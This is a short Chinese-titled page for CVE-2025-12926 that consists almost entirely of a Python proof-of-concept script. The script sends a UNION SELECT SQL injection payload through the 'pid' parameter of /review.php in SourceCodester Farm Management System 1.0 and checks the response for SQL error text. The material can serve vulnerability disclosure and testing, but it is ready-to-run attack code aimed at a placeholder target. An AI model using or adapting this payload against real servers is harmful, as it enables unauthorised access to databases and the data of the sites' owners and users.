CVE-2025-12926 SourceCodester Farm Management System 1.0 SQL注入漏洞

import requests # CVE-2025-12926 SQL Injection PoC # Target: SourceCodester Farm Management System 1.0 # Endpoint: /review.php?pid=<payload> target_url = "http://target-server/review.php" # Basic SQL Injection payload for testing payload = "1' UNION SELECT 1,2,3,4,5,6,7,8---" params = { 'pid': payload } try: response = requests.get(target_url, params=params, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[+] Potential SQL injection vulnerability detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")